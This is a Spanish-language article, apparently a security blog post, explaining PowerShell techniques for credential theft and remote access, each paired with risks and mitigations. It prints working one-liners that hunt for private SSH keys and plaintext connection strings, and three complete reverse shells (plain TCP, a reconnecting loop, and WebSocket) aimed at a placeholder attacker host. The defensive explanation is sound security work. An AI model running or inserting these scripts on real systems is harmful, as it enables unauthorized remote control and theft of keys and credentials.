PowerShell continúa siendo una de las herramientas más versátiles en el ecosistema Windows. Su capacidad para trabajar con archivos, redes, sockets, WebSockets y realizar operaciones avanzadas la convierten en una herramienta especialmente atractiva tanto para administradores como para actores maliciosos.
Este artículo analiza varias técnicas orientadas a la extracción de claves, lectura de credenciales y establecimiento de reverse shells, explicando cómo funcionan y cómo proteger los sistemas frente a ellas.
1. Búsqueda de claves SSH en directorios de usuarios
Ejemplo:
Get-ChildItem -Path C:\Users\*\.ssh\id_rsa -Recurse
Este comando busca claves privadas SSH almacenadas en los perfiles de usuario de Windows, normalmente usadas por soluciones como Git, WSL o clientes SSH instalados manualmente.
Riesgos
- La clave SSH privada puede conceder acceso directo a servidores remotos.
- La presencia de claves sin passphrase incrementa el riesgo de compromiso.
- Un atacante con acceso local puede exfiltrar claves para uso posterior.
Mitigación
- Aplicar políticas corporativas para el uso de claves SSH con passphrase.
- Utilizar agentes de credenciales seguros (por ejemplo,
ssh-agent). - Revisar el contenido del directorio
.sshen auditorías periódicas. - Implementar EDR capaz de detectar accesos anómalos a archivos sensibles.
2. Búsqueda de cadenas de conexión en archivos de aplicaciones
Ejemplo:
Select-String -Path C:\inetpub\wwwroot\*.config -Pattern 'connectionString' -CaseSensitive
Las aplicaciones web en IIS suelen almacenar cadenas de conexión a bases de datos en archivos .config. En algunos casos, estas cadenas incluyen usuarios y contraseñas directamente en texto claro.
Riesgos
- Posible acceso no autorizado a bases de datos.
- Exposición de credenciales privilegiadas usadas por aplicaciones críticas.
- Movimientos laterales dentro del entorno SQL o servicios vinculados.
Mitigación
- Prohibir el uso de credenciales en texto plano mediante políticas de desarrollo.
- Utilizar vaults de secretos: Key Vault, Secrets Manager o sistemas internos.
- Cifrar secciones de configuración con
aspnet_regiis. - Auditar periódicamente archivos de configuración sensibles.
3. Reverse Shell PowerShell simple mediante TCP
Ejemplo :
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port); $stream =
$client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
$i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()}; $client.Close()
Este script establece una conexión saliente a un servidor remoto controlado por un atacante, permitiendo la ejecución de comandos desde el exterior.
Riesgos
- Permite control remoto no autorizado del sistema.
- Suele evadir firewalls si usa puertos comunes (443, 80).
- Evade antivirus básicos al usar solo funcionalidades nativas del sistema.
Mitigación
- Monitorizar conexiones salientes inusuales desde PowerShell.
- Restringir ejecución de scripts con políticas de seguridad (AppLocker, WDAC).
- Utilizar EDR para detectar comportamiento de ejecución remota dinámico.
- Bloquear tráfico saliente hacia direcciones no corporativas.
4. Reverse Shell basado en reintentos y persistencia (reconnect loop)
Ejemplo :
while($true) { try { $client = New-Object System.Net.Sockets.TCPClient('attacker_ip', attacker_port);
$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
$i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()}; $client.Close() } catch { Start-Sleep -Seconds 10 } }
A diferencia del reverse shell simple, este implementa reconexión automática, lo que lo hace mucho más resistente a reinicios de conexión o bloqueos temporales.
Riesgos
- Mayor resiliencia frente a interrupciones.
- Permite control persistente incluso tras fallos momentáneos de red.
- El bucle infinito puede consumir recursos sin levantar sospechas inmediatas.
Mitigación
- Detectar bucles de conexión recurrentes con EDR o Sysmon.
- Establecer reglas de firewall que bloqueen conexiones salientes no aprobadas.
- Restringir el uso de
System.Net.Socketsen políticas de ejecución avanzadas. - Supervisar procesos de PowerShell de larga ejecución.
5. Reverse Shell mediante WebSockets
Ejemplo :
$ClientWebSocket = New-Object System.Net.WebSockets.ClientWebSocket; $uri = New-Object
System.Uri("ws://attacker_ip:attacker_port"); $ClientWebSocket.ConnectAsync($uri, $null).Result;
$buffer = New-Object Byte[] 1024; while ($ClientWebSocket.State -eq 'Open') { $received =
$ClientWebSocket.ReceiveAsync($buffer, $null).Result; $command =
[System.Text.Encoding]::ASCII.GetString($buffer, 0, $received.Count); $output = iex $command 2>&1 |
Out-String; $bytesToSend = [System.Text.Encoding]::ASCII.GetBytes($output);
$ClientWebSocket.SendAsync($bytesToSend, 'Binary', $true, $null).Wait() }
El uso de WebSockets para reverse shells es especialmente sigiloso, ya que puede evadir controles de red tradicionales, que no analizan de forma profunda este tipo de tráfico.
Riesgos
- Difícil de detectar con firewalls tradicionales.
- El tráfico WebSocket puede pasar por proxys sin inspección profunda.
- Uso creciente en malware fileless y C2 avanzados.
Mitigación
- Monitorizar el uso de WebSockets en endpoints mediante EDR.
- Implementar inspección de tráfico WebSocket en proxys corporativos.
- Restringir el uso de
System.Net.WebSocketsmediante políticas avanzadas. - Registrar eventos detallados de PowerShell (Script Block Logging + Sysmon).
Conclusión
Las técnicas analizadas muestran cómo PowerShell puede emplearse para extraer claves sensibles, localizar credenciales en archivos, y establecer canales remotos de control mediante reverse shells. Dado que estas técnicas aprovechan capacidades legítimas del propio sistema, su detección y mitigación requieren una aproximación integral.
